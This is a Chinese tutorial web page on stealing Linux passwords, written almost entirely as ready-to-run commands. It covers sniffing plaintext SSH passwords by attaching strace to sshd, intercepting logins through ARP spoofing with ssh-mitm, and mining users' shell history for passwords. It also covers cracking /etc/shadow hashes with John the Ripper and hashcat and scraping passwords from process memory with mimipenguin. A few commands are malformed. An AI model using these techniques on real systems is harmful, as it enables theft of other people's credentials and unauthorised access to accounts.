网站首页 > 技术教程 正文
1.1sshd 进程监听(实时捕获 SSH 登录明文密码)
SH 登录时,sshd进程会通过read系统调用读取客户端发送的密码(明文传输阶段,后续会被加密验证,但read调用时仍可捕获明文)。strace通过跟踪sshd的系统调用,可抓取这一过程的明文密码。
1.strace获取
strace -f -F -p $(ps aux|grep "sshd -D"|grep -v grep|awk '{print $2}') -t -e trace=read,write -s 1024 2> sshd.log &
说明:
2.strace 监控 sshd 进程
ps aux | grep "sshd:"
# 监控密码读取
strace -f -p -e trace=read -s 1000 2>&1 | grep "password"
3.中间人攻击(MITM)
工具:ssh-mitm
(1)执行 ARP 欺骗
arpspoof -i eth0 -t 192.168.1.100 192.168.1.1 # 欺骗客户端
(2)重定向流量至 ssh-mitm
ssh-mitm -p 2222 # 监听 2222 端口
(3)抓取密码
tcpdump -i lo port 2222 -A | grep "password"
1.2 history 命令(获取潜在密码痕迹)
history记录用户执行过的命令,若用户在命令行中直接输入密码(如脚本中使用mysql -u root -ppassword、sshpass -p password等),可能留下明文。
1.涉及指定密码明文场景
用户在脚本或命令中明文指定密码,例如:
echo "newpass" | passwd --stdin user1(history中会留下newpass);
mysql -u root -p"dbpass123"(history中可能包含dbpass123)。
2.获取方式
查看所有用户的 history(需 root 权限):
cat /home/*/.bash_history /root/.bash_history | grep -iE "pass|pwd|密码"
恢复被清空的 history:若用户执行history -c,可尝试读取内存中的历史(strings /proc/$/mem | grep -i pass,成功率低)。
1.3 /etc/shadow 文件(哈希破解)
 /etc/shadow  存储用户密码的哈希(格式:  用户名:$id$salt$hash  ),  $id  表示加密算法,可通过工具破解哈希得到明文。 
1.哈希格式与算法对应
| $id 值 | 加密算法 | 破解难度 | 
| 1 | MD5(已淘汰,易破解) | 8 位纯数字:秒级破解 | 
| 5 | SHA-256 | 10 位混合:小时级(GPU) | 
| 6 | SHA-512(主流) | 12 位混合:天级(GPU) | 
| y | yescrypt(新系统,如 Debian 11+) | 更高,需专用工具 | 
2.John the Ripper破解
(1)下载及安装
wget https://www.openwall.com/john/k/john-1.9.0.tar.gz
tar -zxvf john-1.9.0.tar.gz
cd john-1.9.0/src
apt install gcc # Debian/Ubuntu系统 # 或 yum install gcc # CentOS/RHEL系统
cd john-1.9.0/src # 必须进入src目录
make clean # 清理之前的编译缓存
make linux-x86-64 # 编译64位版本
cd ../run # 进入运行目录
./john --version # 若显示版本信息,说明编译成功
(2) 提取哈希
grep "root" /etc/shadow > root.hash(仅 root 可读取/etc/shadow);
(3)指定字典破解
 ./john --wordlist=
/usr/share/wordlists/rockyou.txt root.hash(rockyou.txt是常用密码字典); 
(4) 增量模式(无字典时)
./john --incremental root.hash(暴力破解,适合短密码)。
3.Hashcat破解Linux密码
可以通过hashcat针对不同的加密算法来进行破解。
| $id | 加密算法 | Hashcat 模式(-m) | 
| 1 | MD5-Crypt | 500 | 
| 5 | SHA-256-Crypt | 7400 | 
| 6 | SHA-512-Crypt | 1800 | 
| y | yescrypt | 15900 | 
| 2 a | Blowfish-Crypt | 3200 | 
1. 破解 MD5-Crypt 哈希($1开头)
# 模式:-m 500,字典模式(-a 0)
hashcat -m 500 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
# 示例输出(成功时):
# $1$abc123$xyz789...:password123
2. 破解 SHA-256-Crypt 哈希($5开头)
# 模式:-m 7400,字典模式
hashcat -m 7400 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
# 若字典破解失败,尝试掩码暴力破解(如8位数字密码):
hashcat -m 7400 -a 3 hash.txt ?d?d?d?d?d?d?d?d
3. 破解 SHA-512-Crypt 哈希($6开头)
# 模式:-m 1800(最常用),字典模式
hashcat -m 1800 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
# 进阶:结合规则生成变体密码(如在字典密码后加年份)
hashcat -m 1800 -a 0 hash.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
4. 破解 yescrypt 哈希($y开头)
# 模式:-m 15900(需Hashcat 6.1.0+版本支持)
hashcat -m 15900 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
# 注意:yescrypt算法较新,破解难度高,建议优先使用大字典
5. 破解 Blowfish-Crypt 哈希($2a开头)
# 模式:-m 3200
hashcat -m 3200 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
参数说明:
6.实用命令示例
暂停后恢复破解:hashcat -m 1800 -a 0 hash.txt rockyou.txt --restore
仅显示已破解结果:hashcat -m 1800 hash.txt --show
1.4内存明文密码抓取
Linux 进程(如sshd、gnome-keyring、mysql)在运行时可能将密码加载到内存(如验证阶段暂存明文),通过读取进程内存可提取明文。
1.mimipenguin 工具
原理:扫描/proc/[pid]/mem(进程内存),匹配密码特征字符串(如sshd: password、mysql: auth);
支持系统:除 Kali/Ubuntu 外,CentOS 7/8、Debian 9 + 也可运行(需 Python 2.7+);
(1)安装
git clone https://github.com/huntergregal/mimipenguin.git && cd mimipenguin && ./mimipenguin.sh
输出示例:[+] Found password in sshd (PID 1234): user2:pass2024。
2.其他工具与场景
volatility(内存镜像分析),若获取内存镜像(dd if=/dev/mem of=mem.img),可提取历史密码:
vol.py -f mem.img --profile=LinuxUbuntu2004x64 linux_passwd
- 上一篇: 软件测试常用的Linux命令
- 下一篇: Linux 性能监控:实时跟踪系统状态
猜你喜欢
- 2025-08-06 Zabbix技术分享——监控windows进程资源使用情况
- 2025-08-06 Linux系统卡顿?学会ps命令这三招,轻松定位问题进程
- 2025-08-06 Linux 性能监控:实时跟踪系统状态
- 2025-08-06 软件测试常用的Linux命令
- 2025-08-06 进程管理:如何判断进程是否仍在运行?
- 2025-08-06 运维面试官: 你怎么结束进程 ? 要答对这3种才行
- 2025-08-06 三天吃透 Linux 进程编程:从 fork 到 execve,你打造进程管理大师
- 2025-08-06 Linux进程深度解析(2):写时拷贝性能优化与exit资源回收机制
- 2025-08-06 Linux 进程深度解析(3):进程调度策略和应用
- 2025-08-06 Linux救命命令速查手册
欢迎 你 发表评论:
- 10-23Excel计算工龄和年份之差_excel算工龄的公式year
- 10-23Excel YEARFRAC函数:时间的"年份比例尺"详解
- 10-23最常用的10个Excel函数,中文解读,动图演示,易学易用
- 10-23EXCEL中如何计算截止到今日(两个时间中)的时间
- 10-2390%人不知道的Excel神技:DATEDIF 精准计算年龄,告别手动算错!
- 10-23计算工龄及工龄工资(90%的人搞错了):DATE、DATEDIF组合应用
- 10-23Excel中如何计算工作日天数?用这两个函数轻松计算,附新年日历
- 10-23怎样快速提取单元格中的出生日期?用「Ctrl+E」批量搞定
- 最近发表
- 
- Excel计算工龄和年份之差_excel算工龄的公式year
- Excel YEARFRAC函数:时间的"年份比例尺"详解
- 最常用的10个Excel函数,中文解读,动图演示,易学易用
- EXCEL中如何计算截止到今日(两个时间中)的时间
- 90%人不知道的Excel神技:DATEDIF 精准计算年龄,告别手动算错!
- 计算工龄及工龄工资(90%的人搞错了):DATE、DATEDIF组合应用
- Excel中如何计算工作日天数?用这两个函数轻松计算,附新年日历
- 怎样快速提取单元格中的出生日期?用「Ctrl+E」批量搞定
- Excel日期函数之DATEDIF函数_excel函数datedif在哪里
- Excel函数-DATEDIF求司龄_exceldatedif函数计算年龄
 
- 标签列表
- 
- 下划线是什么 (87)
- 精美网站 (58)
- qq登录界面 (90)
- nginx 命令 (82)
- nginx .http (73)
- nginx lua (70)
- nginx 重定向 (68)
- Nginx超时 (65)
- nginx 监控 (57)
- odbc (59)
- rar密码破解工具 (62)
- annotation (71)
- 红黑树 (57)
- 智力题 (62)
- php空间申请 (61)
- 按键精灵 注册码 (69)
- 软件测试报告 (59)
- ntcreatefile (64)
- 闪动文字 (56)
- guid (66)
- abap (63)
- mpeg 2 (65)
- column (63)
- dreamweaver教程 (57)
- excel行列转换 (56)
 

本文暂时没有评论,来添加一个吧(●'◡'●)